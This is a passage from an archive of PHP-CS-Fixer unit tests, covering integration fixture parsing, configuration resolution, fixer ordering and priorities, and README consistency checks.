 *    ** PHP minimum version. Default to current running php version (no effect).
 *   *** HHVM compliant flag. Default to true. Set to false to skip test under HHVM.
 *  **** Black listed filters may be omitted.
 * ***** When the expected block is omitted the input is expected not to
 *     be changed by the fixers.
 *
 * @author SpacePossum <possumfromspace@gmail.com>
 *
 * @internal
 */
abstract class AbstractIntegrationTest extends \PHPUnit_Framework_TestCase
{
    private static $builtInFixers;

    public static function setUpBeforeClass()
    {
        $tmpFile = static::getTempFile();
        if (!is_file($tmpFile)) {
            $dir = dirname($tmpFile);
            if (!is_dir($dir)) {
                $fs = new Filesystem();
                $fs->mkdir($dir, 0766);
            }
        }
    }

    public static function tearDownAfterClass()
    {
        @unlink(static::getTempFile());
    }

    /**
     * @dataProvider getTests
     *
     * @see doTestIntegration()
     */
    public function testIntegration($testFileName, $testTitle, $fixers, array $requirements, $input, $expected = null)
    {
        $this->doTestIntegration($testFileName, $testTitle, $fixers, $requirements, $input, $expected);
    }

    /**
     * Creates test data by parsing '.test' files.
     *
     * @return array
     */
    public function getTests()
    {
        $fixturesDir = realpath($this->getFixturesDir());
        if (!is_dir($fixturesDir)) {
            throw new \UnexpectedValueException(sprintf('Given fixture dir "%s" is not a directory.', $fixturesDir));
        }

        $tests = array();

        foreach (new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($fixturesDir), \RecursiveIteratorIterator::LEAVES_ONLY) as $file) {
            if (!preg_match('/\.test$/', $file)) {
                continue;
            }

            $test = file_get_contents($file->getRealpath());
            $fileName = $file->getFileName();
            if (!preg_match('/--TEST--[\n](.*?)\s--CONFIG--[\n](.*?)(\s--REQUIREMENTS--[\n](.*?))?\s--INPUT--[\n](.*?[\n]*)(?:[\n]--EXPECT--\s(.*)|$)/s', $test, $match)) {
                throw new \InvalidArgumentException(sprintf('Test format invalid for "%s".', $fileName));
            }

            $tests[] = array($fileName, $match[1], $this->getFixersFromConfig($fileName, $match[2]), $this->getRequirementsFromConfig($fileName, $match[4]), $match[5], isset($match[6]) ? $match[6] : null);
        }

        return $tests;
    }

    /**
     * Returns the full path to directory which contains the tests.
     *
     * @return string
     */
    protected static function getFixturesDir()
    {
        throw new \BadMethodCallException('Method "getFixturesDir" must be overridden by the extending class.');
    }

    /**
     * Returns the full path to the temporary file where the test will write to.
     *
     * @return string
     */
    protected static function getTempFile()
    {
        throw new \BadMethodCallException('Method "getTempFile" must be overridden by the extending class.');
    }

    /**
     * Applies the given fixers on the input and checks the result.
     *
     * It will write the input to a temp file. The file will be fixed by a Fixer instance
     * configured with the given fixers. The result is compared with the expected output.
     * It checks if no errors were reported during the fixing.
     *
     * @param string           $testFileName Filename
     * @param string           $testTitle    Test title
     * @param FixerInterface[] $fixers       Fixers to use
     * @param array            $requirements Env requirements (PHP, HHVM)
     * @param string           $input        Code to fix
     * @param string|null      $expected     Expected result or null if the input is expected not to change
     */
    protected function doTestIntegration($testFileName, $testTitle, $fixers, array $requirements, $input, $expected = null)
    {
        if (defined('HHVM_VERSION') && false === $requirements['hhvm']) {
            $this->markTestSkipped('HHVM is not supported.');
        }
        if (isset($requirements['php']) && version_compare(PHP_VERSION, $requirements['php']) < 0) {
            $this->markTestSkipped(sprintf('PHP %s (or later) is required.', $requirements['php']));
        }

        $errorsManager = new ErrorsManager();
        $fixer = new Fixer();
        $fixer->setErrorsManager($errorsManager);

        $tmpFile = static::getTempFile();
        if (false === @file_put_contents($tmpFile, $input)) {
            throw new IOException(sprintf('Failed to write to tmp. file "%s".', $tmpFile));
        }

        $changed = $fixer->fixFile(new \SplFileInfo($tmpFile), $fixers, false, true, new FileCacheManager(false, null, $fixers));
        $this->assertTrue($errorsManager->isEmpty(), 'Errors reported during fixing.');

        if (null === $expected) {
            $this->assertEmpty($changed, sprintf("Expected no changes made to test \"%s\" in \"%s\".\nFixers applied:\n\"%s\".\nDiff.:\n\"%s\".", $testTitle, $testFileName, $changed === null ? '[None]' : implode(',', $changed['appliedFixers']), $changed === null ? '[None]' : $changed['diff']));

            return;
        }

        $this->assertNotEmpty($changed, sprintf('Expected changes made to test "%s" in "%s".', $testTitle, $testFileName));
        $this->assertSame($expected, file_get_contents($tmpFile), sprintf('Expected changes do not match result for "%s" in "%s".', $testTitle, $testFileName));

        // run the test again with the `expected` part, this should always stay the same
        $this->testIntegration($testFileName, $testTitle.' "--EXPECT-- part run"', $fixers, $requirements, $expected);
    }

    /**
     * Parses the '--CONFIG--' block of a '.test' file and determines what fixers should be used.
     *
     * @param string $fileName
     * @param string $config
     *
     * @return FixerInterface[]
     */
    protected function getFixersFromConfig($fileName, $config)
    {
        static $levelMap = array(
            'none' => FixerInterface::NONE_LEVEL,
            'psr1' => FixerInterface::PSR1_LEVEL,
            'psr2' => FixerInterface::PSR2_LEVEL,
            'symfony' => FixerInterface::SYMFONY_LEVEL,
        );

        $lines = explode("\n", $config);
        if (empty($lines)) {
            throw new \InvalidArgumentException(sprintf('No configuration options found in "%s".', $fileName));
        }

        $config = array('level' => null, 'fixers' => array(), '--fixers' => array());

        foreach ($lines as $line) {
            $labelValuePair = explode('=', $line);
            if (2 !== count($labelValuePair)) {
                throw new \InvalidArgumentException(sprintf('Invalid configuration line "%s" in "%s".', $line, $fileName));
            }

            $label = strtolower(trim($labelValuePair[0]));
            $value = trim($labelValuePair[1]);

            switch ($label) {
                case 'level':
                    if (!array_key_exists($value, $levelMap)) {
                        throw new \InvalidArgumentException(sprintf('Unknown level "%s" set in configuration in "%s", expected any of "%s".', $value, $fileName, implode(', ', array_keys($levelMap))));
                    }

                    if (null !== $config['level']) {
                        throw new \InvalidArgumentException(sprintf('Cannot use multiple levels in configuration in "%s".', $fileName));
                    }

                    $config['level'] = $value;
                    break;
                case 'fixers':
                case '--fixers':
                    foreach (explode(',', $value) as $fixer) {
                        $config[$label][] = strtolower(trim($fixer));
                    }

                    break;
                default:
                    throw new \InvalidArgumentException(sprintf('Unknown configuration item "%s" in "%s".', $label, $fileName));
            }
        }

        if (null === $config['level']) {
            throw new \InvalidArgumentException(sprintf('Level not set in configuration "%s".', $fileName));
        }

        if (null === self::$builtInFixers) {
            $fixer = new Fixer();
            $fixer->registerBuiltInFixers();
            self::$builtInFixers = $fixer->getFixers();
        }

        $fixers = array();
        for ($i = 0, $limit = count(self::$builtInFixers); $i < $limit; ++$i) {
            $fixer = self::$builtInFixers[$i];
            $fixerName = $fixer->getName();
            if ('psr0' === $fixer->getName()) {
                // File based fixer won't work
                continue;
            }

            if ($fixer->getLevel() !== ($fixer->getLevel() & $levelMap[$config['level']])) {
                if (false !== $key = array_search($fixerName, $config['fixers'], true)) {
                    $fixers[] = $fixer;
                    unset($config['fixers'][$key]);
                }
                continue;
            }

            if (false !== $key = array_search($fixerName, $config['--fixers'], true)) {
                unset($config['--fixers'][$key]);
                continue;
            }

            if (in_array($fixerName, $config['fixers'], true)) {
                throw new \InvalidArgumentException(sprintf('Additional fixer "%s" configured, but is already part of the level.', $fixerName));
            }

            $fixers[] = $fixer;
        }

        if (!empty($config['fixers']) || !empty($config['--fixers'])) {
            throw new \InvalidArgumentException(sprintf('Unknown fixers in configuration "%s".', implode(',', empty($config['fixers']) ? $config['--fixers'] : $config['fixers'])));
        }

        return $fixers;
    }

    /**
     * Parses the '--REQUIREMENTS--' block of a '.test' file and determines requirements.
     *
     * @param string $fileName
     * @param string $config
     *
     * @return array
     */
    protected function getRequirementsFromConfig($fileName, $config)
    {
        $requirements = array('hhvm' => true, 'php' => PHP_VERSION);

        if ('' === $config) {
            return $requirements;
        }

        $lines = explode("\n", $config);
        if (empty($lines)) {
            return $requirements;
        }

        foreach ($lines as $line) {
            $labelValuePair = explode('=', $line);
            if (2 !== count($labelValuePair)) {
                throw new \InvalidArgumentException(sprintf('Invalid requirements line "%s" in "%s".', $line, $fileName));
            }

            $label = strtolower(trim($labelValuePair[0]));
            $value = trim($labelValuePair[1]);

            switch ($label) {
                case 'hhvm':
                    $requirements['hhvm'] = 'false' === $value ? false : true;
                    break;
                case 'php':
                    $requirements['php'] = $value;
                    break;
                default:
                    throw new \InvalidArgumentException(sprintf('Unknown configuration item "%s" in "%s".', $label, $fileName));
            }
        }

        return $requirements;
    }
}
php-cs-fixer/Symfony/CS/Tests/IntegrationTest.php000066600000001500151456236460015774 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests;

/**
 * Test that parses and runs the fixture '*.test' files found in '/Fixtures/Integration'.
 *
 * @author SpacePossum <possumfromspace@gmail.com>
 *
 * @internal
 */
final class IntegrationTest extends AbstractIntegrationTest
{
    /**
     * {@inheritdoc}
     */
    protected static function getFixturesDir()
    {
        return __DIR__.DIRECTORY_SEPARATOR.'Fixtures'.DIRECTORY_SEPARATOR.'Integration';
    }

    /**
     * {@inheritdoc}
     */
    protected static function getTempFile()
    {
        return self::getFixturesDir().DIRECTORY_SEPARATOR.'.tmp.php';
    }
}
php-cs-fixer/Symfony/CS/Tests/ReadmeTest.php000066600000002423151456236460014713 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests;

use Symfony\Component\Console\Input\ArrayInput;
use Symfony\Component\Console\Output\BufferedOutput;
use Symfony\CS\Console\Application;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ReadmeTest extends \PHPUnit_Framework_TestCase
{
    public function testIfReadmeFileIsCorrect()
    {
        if (!class_exists('Symfony\Component\Console\Output\BufferedOutput')) {
            $this->markTestSkipped('Unsupported symfony/console version, Symfony\Component\Console\Output\BufferedOutput was added in 2.4.');
        }

        $input = new ArrayInput(array('readme'));
        $output = new BufferedOutput();
        $app = new Application();

        $app->get('readme')->run($input, $output);

        $fileContent = file_get_contents(__DIR__.'/../../../README.rst');

        $this->assertSame(
            $output->fetch(),
            $fileContent,
            'README.rst file is not up to date! Do not modify it manually! Regenerate readme with command: `php php-cs-fixer readme > README.rst`.'
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/ConfigurationResolverTest.php000066600000024116151456236460020052 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests;

use Symfony\CS\ConfigurationResolver;
use Symfony\CS\Fixer;
use Symfony\CS\FixerInterface;

/**
 * @author Katsuhiro Ogawa <ko.fivestar@gmail.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ConfigurationResolverTest extends \PHPUnit_Framework_TestCase
{
    protected $config;
    protected $resolver;
    protected $fixersMap;

    protected function setUp()
    {
        $fixer = new Fixer();
        $fixer->registerBuiltInFixers();
        $fixer->registerBuiltInConfigs();

        $fixersMap = array();

        foreach ($fixer->getFixers() as $singleFixer) {
            $level = $singleFixer->getLevel();

            if (!isset($fixersMap[$level])) {
                $fixersMap[$level] = array();
            }

            $fixersMap[$level][$singleFixer->getName()] = $singleFixer;
        }

        $this->fixersMap = $fixersMap;

        $this->config = $this->getMock('Symfony\CS\ConfigInterface');
        $this->resolver = new ConfigurationResolver();
        $this->resolver
            ->setAllFixers($fixer->getFixers())
            ->setConfig($this->config);
    }

    protected function makeFixersTest($expectedFixers, $resolvedFixers)
    {
        $this->assertCount(count($expectedFixers), $resolvedFixers);

        foreach ($expectedFixers as $fixer) {
            $this->assertContains($fixer, $resolvedFixers);
        }
    }

    public function testResolveFixersReturnsEmptyArrayByDefault()
    {
        $this->makeFixersTest(array(), $this->resolver->getFixers());
    }

    public function testResolveFixersWithLevelConfig()
    {
        $this->config->expects($this->any())->method('getLevel')
            ->will($this->returnValue(FixerInterface::PSR1_LEVEL));

        $this->resolver->resolve();

        $this->makeFixersTest(
            array_merge($this->fixersMap[FixerInterface::PSR0_LEVEL], $this->fixersMap[FixerInterface::PSR1_LEVEL]),
            $this->resolver->getFixers()
        );
    }

    public function testResolveFixersWithPositiveFixersConfig()
    {
        $this->config->expects($this->any())->method('getLevel')
            ->will($this->returnValue(FixerInterface::SYMFONY_LEVEL));

        $this->config->expects($this->any())->method('getFixers')
            ->will($this->returnValue(array('strict', 'strict_param')));

        $this->resolver->resolve();

        $expectedFixers = array_merge(
            $this->fixersMap[FixerInterface::PSR0_LEVEL],
            $this->fixersMap[FixerInterface::PSR1_LEVEL],
            $this->fixersMap[FixerInterface::PSR2_LEVEL],
            $this->fixersMap[FixerInterface::SYMFONY_LEVEL],
            array($this->fixersMap[FixerInterface::CONTRIB_LEVEL]['strict'], $this->fixersMap[FixerInterface::CONTRIB_LEVEL]['strict_param'])
        );

        $this->makeFixersTest(
            $expectedFixers,
            $this->resolver->getFixers()
        );
    }

    public function testResolveFixersWithNegativeFixersConfig()
    {
        $this->config->expects($this->any())->method('getLevel')
            ->will($this->returnValue(FixerInterface::SYMFONY_LEVEL));

        $this->config->expects($this->any())->method('getFixers')
            ->will($this->returnValue(array('strict', '-include', 'strict_param')));

        $this->resolver->resolve();

        $expectedFixers = array_merge(
            $this->fixersMap[FixerInterface::PSR0_LEVEL],
            $this->fixersMap[FixerInterface::PSR1_LEVEL],
            $this->fixersMap[FixerInterface::PSR2_LEVEL],
            $this->fixersMap[FixerInterface::SYMFONY_LEVEL],
            array($this->fixersMap[FixerInterface::CONTRIB_LEVEL]['strict'], $this->fixersMap[FixerInterface::CONTRIB_LEVEL]['strict_param'])
        );

        foreach ($expectedFixers as $key => $fixer) {
            if ($fixer->getName() === 'include') {
                unset($expectedFixers[$key]);
                break;
            }
        }

        $this->makeFixersTest(
            $expectedFixers,
            $this->resolver->getFixers()
        );
    }

    public function testResolveFixersWithLevelOption()
    {
        $this->resolver
            ->setOption('level', 'psr1')
            ->resolve();

        $this->makeFixersTest(
            array_merge($this->fixersMap[FixerInterface::PSR0_LEVEL], $this->fixersMap[FixerInterface::PSR1_LEVEL]),
            $this->resolver->getFixers()
        );
    }

    public function testResolveFixersWithLevelConfigAndFixersConfigAndLevelOption()
    {
        $this->config->expects($this->any())->method('getLevel')
            ->will($this->returnValue(FixerInterface::PSR2_LEVEL));

        $this->config->expects($this->any())->method('getFixers')
            ->will($this->returnValue(array('strict')));

        $this->resolver
            ->setOption('level', 'psr1')
            ->resolve();

        $this->makeFixersTest(
            array_merge($this->fixersMap[FixerInterface::PSR0_LEVEL], $this->fixersMap[FixerInterface::PSR1_LEVEL]),
            $this->resolver->getFixers()
        );
    }

    public function testResolveFixersWithLevelConfigAndFixersConfigAndPositiveFixersOption()
    {
        $this->config->expects($this->any())->method('getLevel')
            ->will($this->returnValue(FixerInterface::PSR2_LEVEL));

        $this->config->expects($this->any())->method('getFixers')
            ->will($this->returnValue(array('strict')));

        $this->resolver
            ->setOption('fixers', 'psr0')
            ->resolve();

        $this->makeFixersTest(
            array($this->fixersMap[FixerInterface::PSR0_LEVEL]['psr0']),
            $this->resolver->getFixers()
        );
    }

    public function testResolveFixersWithLevelConfigAndFixersConfigAndNegativeFixersOption()
    {
        $this->config->expects($this->any())->method('getLevel')
            ->will($this->returnValue(FixerInterface::SYMFONY_LEVEL));

        $this->config->expects($this->any())->method('getFixers')
            ->will($this->returnValue(array('strict')));

        $this->resolver
            ->setOption('fixers', 'strict, -include,strict_param ')
            ->resolve();

        $expectedFixers = array_merge(
            $this->fixersMap[FixerInterface::PSR0_LEVEL],
            $this->fixersMap[FixerInterface::PSR1_LEVEL],
            $this->fixersMap[FixerInterface::PSR2_LEVEL],
            $this->fixersMap[FixerInterface::SYMFONY_LEVEL],
            array($this->fixersMap[FixerInterface::CONTRIB_LEVEL]['strict'], $this->fixersMap[FixerInterface::CONTRIB_LEVEL]['strict_param'])
        );

        foreach ($expectedFixers as $key => $fixer) {
            if ($fixer->getName() === 'include') {
                unset($expectedFixers[$key]);
                break;
            }
        }

        $this->makeFixersTest(
            $expectedFixers,
            $this->resolver->getFixers()
        );
    }

    public function testResolveFixersWithLevelConfigAndFixersConfigAndLevelOptionsAndFixersOption()
    {
        $this->config->expects($this->any())->method('getLevel')
            ->will($this->returnValue(FixerInterface::PSR2_LEVEL));

        $this->config->expects($this->any())->method('getFixers')
            ->will($this->returnValue(array('concat_with_spaces')));

        $this->resolver
            ->setOption('level', 'symfony')
            ->setOption('fixers', 'strict, -include,strict_param ')
            ->resolve();

        $expectedFixers = array_merge(
            $this->fixersMap[FixerInterface::PSR0_LEVEL],
            $this->fixersMap[FixerInterface::PSR1_LEVEL],
            $this->fixersMap[FixerInterface::PSR2_LEVEL],
            $this->fixersMap[FixerInterface::SYMFONY_LEVEL],
            array($this->fixersMap[FixerInterface::CONTRIB_LEVEL]['strict'], $this->fixersMap[FixerInterface::CONTRIB_LEVEL]['strict_param'])
        );

        foreach ($expectedFixers as $key => $fixer) {
            if ($fixer->getName() === 'include') {
                unset($expectedFixers[$key]);
                break;
            }
        }

        $this->makeFixersTest(
            $expectedFixers,
            $this->resolver->getFixers()
        );
    }

    public function testResolveProgressWithPositiveConfigAndPositiveOption()
    {
        $config = $this->getMock('Symfony\CS\Config\Config');
        $config->expects($this->any())->method('getHideProgress')
            ->will($this->returnValue(true));

        $this->resolver->setConfig($config);
        $this->resolver->setOption('progress', true);

        $this->assertFalse($this->resolver->getProgress());
    }

    public function testResolveProgressWithPositiveConfigAndNegativeOption()
    {
        $config = $this->getMock('Symfony\CS\Config\Config');
        $config->expects($this->any())->method('getHideProgress')
            ->will($this->returnValue(true));

        $this->resolver->setConfig($config);
        $this->resolver->setOption('progress', false);

        $this->assertFalse($this->resolver->getProgress());
    }

    public function testResolveProgressWithNegativeConfigAndPositiveOption()
    {
        $config = $this->getMock('Symfony\CS\Config\Config');
        $config->expects($this->any())->method('getHideProgress')
            ->will($this->returnValue(false));

        $this->resolver->setConfig($config);
        $this->resolver->setOption('progress', true);

        $this->assertTrue($this->resolver->getProgress());
    }

    public function testResolveProgressWithNegativeConfigAndNegativeOption()
    {
        $config = $this->getMock('Symfony\CS\Config\Config');
        $config->expects($this->any())->method('getHideProgress')
            ->will($this->returnValue(false));

        $this->resolver->setConfig($config);
        $this->resolver->setOption('progress', false);

        $this->assertFalse($this->resolver->getProgress());
    }

    public function testResolveProgressRespectsConfigInterface()
    {
        $this->resolver->setOption('progress', true);

        $this->assertTrue($this->resolver->getProgress());
    }
}
php-cs-fixer/Symfony/CS/Tests/FixerTest.php000066600000026142151456236460014577 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests;

use Symfony\CS\Config\Config;
use Symfony\CS\Fixer;
use Symfony\CS\FixerInterface;

class FixerTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @covers Symfony\CS\Fixer::sortFixers
     */
    public function testThatFixersAreSorted()
    {
        $fixer = new Fixer();

        $fxPrototypes = array(
            array('getPriority' => 0),
            array('getPriority' => -10),
            array('getPriority' => 10),
            array('getPriority' => -10),
        );

        $fxs = array();

        foreach ($fxPrototypes as $fxPrototype) {
            $fx = $this->getMock('Symfony\CS\FixerInterface');
            $fx->expects($this->any())->method('getPriority')->willReturn($fxPrototype['getPriority']);

            $fixer->addFixer($fx);
            $fxs[] = $fx;
        }

        // There are no rules that forces $fxs[1] to be prioritized before $fxs[3]. We should not test against that
        $this->assertSame(array($fxs[2], $fxs[0]), array_slice($fixer->getFixers(), 0, 2));
    }

    /**
     * @covers Symfony\CS\Fixer::registerBuiltInFixers
     */
    public function testThatRegisterBuiltInFixers()
    {
        $fixer = new Fixer();

        $this->assertCount(0, $fixer->getFixers());
        $fixer->registerBuiltInFixers();
        $this->assertGreaterThan(0, count($fixer->getFixers()));
    }

    /**
     * @covers Symfony\CS\Fixer::registerBuiltInConfigs
     */
    public function testThatRegisterBuiltInConfigs()
    {
        $fixer = new Fixer();

        $this->assertCount(0, $fixer->getConfigs());
        $fixer->registerBuiltInConfigs();
        $this->assertGreaterThan(0, count($fixer->getConfigs()));
    }

    /**
     * @covers Symfony\CS\Fixer::addFixer
     * @covers Symfony\CS\Fixer::getFixers
     */
    public function testThatCanAddAndGetFixers()
    {
        $fixer = new Fixer();

        $f1 = $this->getMock('Symfony\CS\FixerInterface');
        $f2 = $this->getMock('Symfony\CS\FixerInterface');
        $fixer->addFixer($f1);
        $fixer->addFixer($f2);

        $this->assertTrue(in_array($f1, $fixer->getFixers(), true));
        $this->assertTrue(in_array($f2, $fixer->getFixers(), true));
    }

    /**
     * @covers Symfony\CS\Fixer::addConfig
     * @covers Symfony\CS\Fixer::getConfigs
     */
    public function testThatCanAddAndGetConfigs()
    {
        $fixer = new Fixer();

        $c1 = $this->getMock('Symfony\CS\ConfigInterface');
        $c2 = $this->getMock('Symfony\CS\ConfigInterface');
        $fixer->addConfig($c1);
        $fixer->addConfig($c2);

        $this->assertSame(array($c1, $c2), $fixer->getConfigs());
    }

    /**
     * @covers Symfony\CS\Fixer::fix
     * @covers Symfony\CS\Fixer::fixFile
     * @covers Symfony\CS\Fixer::prepareFixers
     */
    public function testThatFixSuccessfully()
    {
        $fixer = new Fixer();
        $fixer->addFixer(new \Symfony\CS\Fixer\PSR2\VisibilityFixer());
        $fixer->addFixer(new \Symfony\CS\Fixer\PSR0\Psr0Fixer()); //will be ignored cause of test keyword in namespace

        $config = Config::create()->finder(new \DirectoryIterator(__DIR__.DIRECTORY_SEPARATOR.'Fixtures'.DIRECTORY_SEPARATOR.'FixerTest'));
        $config->fixers($fixer->getFixers());

        $changed = $fixer->fix($config, true, true);
        $pathToInvalidFile = __DIR__.DIRECTORY_SEPARATOR.'Fixtures'.DIRECTORY_SEPARATOR.'FixerTest'.DIRECTORY_SEPARATOR.'somefile.php';

        $this->assertCount(1, $changed);
        $this->assertCount(2, $changed[$pathToInvalidFile]);
        $this->assertSame(array('appliedFixers', 'diff'), array_keys($changed[$pathToInvalidFile]));
        $this->assertSame('visibility', $changed[$pathToInvalidFile]['appliedFixers'][0]);
    }

    /**
     * @covers Symfony\CS\Fixer::getLevelAsString
     * @dataProvider getFixerLevels
     */
    public function testThatCanGetFixerLevelString($level, $expectedLevelString)
    {
        $fixer = $this->getMock('Symfony\CS\FixerInterface');
        $fixer->expects($this->any())->method('getLevel')->will($this->returnValue($level));

        $this->assertSame($expectedLevelString, Fixer::getLevelAsString($fixer));
    }

    public function testFixersPriorityEdgeFixers()
    {
        $fixer = new Fixer();
        $fixer->registerBuiltInFixers();
        $fixers = $fixer->getFixers();

        $this->assertSame('encoding', $fixers[0]->getName());
        $this->assertSame('short_tag', $fixers[1]->getName());
        $this->assertSame('eof_ending', $fixers[count($fixers) - 1]->getName());
    }

    /**
     * @dataProvider getFixersPriorityCases
     */
    public function testFixersPriority(FixerInterface $first, FixerInterface $second)
    {
        $this->assertLessThan($first->getPriority(), $second->getPriority());
    }

    public function getFixersPriorityCases()
    {
        $fixer = new Fixer();
        $fixer->registerBuiltInFixers();

        $fixers = array();

        foreach ($fixer->getFixers() as $fixer) {
            $fixers[$fixer->getName()] = $fixer;
        }

        $cases = array(
            array($fixers['unused_use'], $fixers['extra_empty_lines']),
            array($fixers['multiple_use'], $fixers['unused_use']),
            array($fixers['multiple_use'], $fixers['ordered_use']),
            array($fixers['remove_leading_slash_use'], $fixers['ordered_use']),
            array($fixers['remove_lines_between_uses'], $fixers['ordered_use']),
            array($fixers['unused_use'], $fixers['remove_leading_slash_use']),
            array($fixers['multiple_use'], $fixers['remove_leading_slash_use']),
            array($fixers['concat_without_spaces'], $fixers['concat_with_spaces']),
            array($fixers['elseif'], $fixers['braces']),
            array($fixers['duplicate_semicolon'], $fixers['braces']),
            array($fixers['duplicate_semicolon'], $fixers['spaces_before_semicolon']),
            array($fixers['duplicate_semicolon'], $fixers['multiline_spaces_before_semicolon']),
            array($fixers['standardize_not_equal'], $fixers['strict']),
            array($fixers['double_arrow_multiline_whitespaces'], $fixers['multiline_array_trailing_comma']),
            array($fixers['double_arrow_multiline_whitespaces'], $fixers['align_double_arrow']),
            array($fixers['operators_spaces'], $fixers['align_double_arrow']), // tested also in: align_double_arrow,operators_spaces.test
            array($fixers['operators_spaces'], $fixers['align_equals']), // tested also in: align_double_arrow,align_equals.test
            array($fixers['indentation'], $fixers['phpdoc_indent']),
            array($fixers['phpdoc_order'], $fixers['phpdoc_separation']),
            array($fixers['phpdoc_no_access'], $fixers['phpdoc_separation']),
            array($fixers['phpdoc_no_access'], $fixers['phpdoc_order']),
            array($fixers['phpdoc_no_empty_return'], $fixers['phpdoc_separation']),
            array($fixers['phpdoc_no_empty_return'], $fixers['phpdoc_order']),
            array($fixers['phpdoc_no_package'], $fixers['phpdoc_separation']),
            array($fixers['phpdoc_no_package'], $fixers['phpdoc_order']),
            array($fixers['phpdoc_no_access'], $fixers['phpdoc_trim']),
            array($fixers['phpdoc_no_empty_return'], $fixers['phpdoc_trim']),
            array($fixers['phpdoc_no_package'], $fixers['phpdoc_trim']),
            array($fixers['phpdoc_separation'], $fixers['phpdoc_trim']),
            array($fixers['phpdoc_short_description'], $fixers['phpdoc_trim']),
            array($fixers['phpdoc_var_without_name'], $fixers['phpdoc_trim']),
            array($fixers['phpdoc_order'], $fixers['phpdoc_trim']),
            array($fixers['unused_use'], $fixers['line_after_namespace']),
            array($fixers['linefeed'], $fixers['eof_ending']),
            array($fixers['php_unit_strict'], $fixers['php_unit_construct']),
            array($fixers['unary_operators_spaces'], $fixers['logical_not_operators_with_spaces']),
            array($fixers['unary_operators_spaces'], $fixers['logical_not_operators_with_successor_space']),
            array($fixers['short_echo_tag'], $fixers['echo_to_print']), // tested also in: echo_to_print,short_echo_tag.test
            array($fixers['short_bool_cast'], $fixers['spaces_cast']),
            array($fixers['unneeded_control_parentheses'], $fixers['trailing_spaces']), // tested also in: trailing_spaces,unneeded_control_parentheses.test
            array($fixers['blankline_after_open_tag'], $fixers['no_blank_lines_before_namespace']), // tested also in: blankline_after_open_tag,no_blank_lines_before_namespace.test
        );

        $docFixerNames = array_filter(
            array_keys($fixers),
            function ($name) {
                return false !== strpos($name, 'phpdoc');
            }
        );

        // prepare bulk tests for phpdoc fixers to test that:
        // * `phpdoc_to_comment` is first
        // * `phpdoc_indent` is second
        // * `phpdoc_types` is third
        // * `phpdoc_scalar` is fourth
        // * `phpdoc_params` is last
        $cases[] = array($fixers['phpdoc_to_comment'], $fixers['phpdoc_indent']);
        $cases[] = array($fixers['phpdoc_indent'], $fixers['phpdoc_types']);
        $cases[] = array($fixers['phpdoc_types'], $fixers['phpdoc_scalar']);

        foreach ($docFixerNames as $docFixerName) {
            if (!in_array($docFixerName, array('phpdoc_to_comment', 'phpdoc_indent', 'phpdoc_types', 'phpdoc_scalar'), true)) {
                $cases[] = array($fixers['phpdoc_to_comment'], $fixers[$docFixerName]);
                $cases[] = array($fixers['phpdoc_indent'], $fixers[$docFixerName]);
                $cases[] = array($fixers['phpdoc_types'], $fixers[$docFixerName]);
                $cases[] = array($fixers['phpdoc_scalar'], $fixers[$docFixerName]);
            }

            if ('phpdoc_params' !== $docFixerName) {
                $cases[] = array($fixers[$docFixerName], $fixers['phpdoc_params']);
            }
        }

        return $cases;
    }

    public static function getFixerLevels()
    {
        return array(
            array(FixerInterface::NONE_LEVEL, 'none'),
            array(FixerInterface::PSR0_LEVEL, 'PSR-0'),
            array(FixerInterface::PSR1_LEVEL, 'PSR-1'),
            array(FixerInterface::PSR2_LEVEL, 'PSR-2'),
            array(FixerInterface::SYMFONY_LEVEL, 'symfony'),
            array(FixerInterface::CONTRIB_LEVEL, 'contrib'),
        );
    }

    /**
     * @dataProvider provideFixersDescriptionConsistencyCases
     */
    public function testFixersDescriptionConsistency(FixerInterface $fixer)
    {
        $this->assertRegExp('/^[A-Z@].*\.$/', $fixer->getDescription(), 'Description must start with capital letter or an @ and end with dot.');
    }

    public function provideFixersDescriptionConsistencyCases()
    {
        $fixer = new Fixer();
        $fixer->registerBuiltInFixers();
        $fixers = $fixer->getFixers();
        $cases = array();

        foreach ($fixers as $fixer) {
            $cases[] = array($fixer);
        }

        return $cases;
    }
}
php-cs-fixer/Symfony/CS/Tests/Config/ConfigTest.php000066600000003265151456236460016135 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Config;

use Symfony\Component\Finder\Finder;
use Symfony\CS\Config\Config;
use Symfony\CS\Finder\DefaultFinder;

class ConfigTest extends \PHPUnit_Framework_TestCase
{
    public function testThatDefaultFinderWorksWithDirSetOnConfig()
    {
        $config = Config::create();
        $config->setDir(__DIR__.'/../Fixtures/FinderDirectory');

        $iterator = $config->getFinder()->getIterator();
        $this->assertSame(1, count($iterator));
        $iterator->rewind();
        $this->assertSame('somefile.php', $iterator->current()->getFilename());
    }

    public function testThatCustomDefaultFinderWorks()
    {
        $finder = DefaultFinder::create();
        $finder->in(__DIR__.'/../Fixtures/FinderDirectory');

        $config = Config::create();
        $config->finder($finder);

        $iterator = $config->getFinder()->getIterator();
        $this->assertSame(1, count($iterator));
        $iterator->rewind();
        $this->assertSame('somefile.php', $iterator->current()->getFilename());
    }

    public function testThatCustomFinderWorks()
    {
        $finder = Finder::create();
        $finder->in(__DIR__.'/../Fixtures/FinderDirectory');

        $config = Config::create();
        $config->finder($finder);

        $iterator = $config->getFinder()->getIterator();
        $this->assertSame(1, count($iterator));
